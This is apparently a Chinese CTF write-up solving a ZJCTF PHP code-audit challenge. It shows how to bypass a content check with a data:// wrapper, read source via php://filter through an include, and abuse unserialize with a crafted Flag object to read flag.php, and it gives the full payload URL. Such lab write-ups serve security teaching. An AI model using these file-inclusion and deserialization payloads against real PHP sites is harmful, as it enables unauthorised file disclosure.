代码审计题
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三关,text file password
那么就一关关慢慢来
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
text是我们本地带过去的参数,用data伪协议就可以轻松绕过?text=data://text/plain,welcome to the zjctf
第二关,file里不能带flag,那么,其实我们要读取的是useless.php,本身也跟flag无关
直接用php://filter读取源码
file=php://filter/read=convert.base64-encode/resource=useless.php
返回了useless.php的base64编码源码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码一下
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三关是一个序列化问题,要读取flag.php,toString方法被重写了,那就构造一个Flag对象,file是flag.php就好
没啥好说的,序列化吧
<?php
class Flag{ //flag.php
public $file;
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>
结果
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
于是完整的payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag在源码里
参考视频链接:https://www.bilibili.com/video/BV1jQ4y1y76M/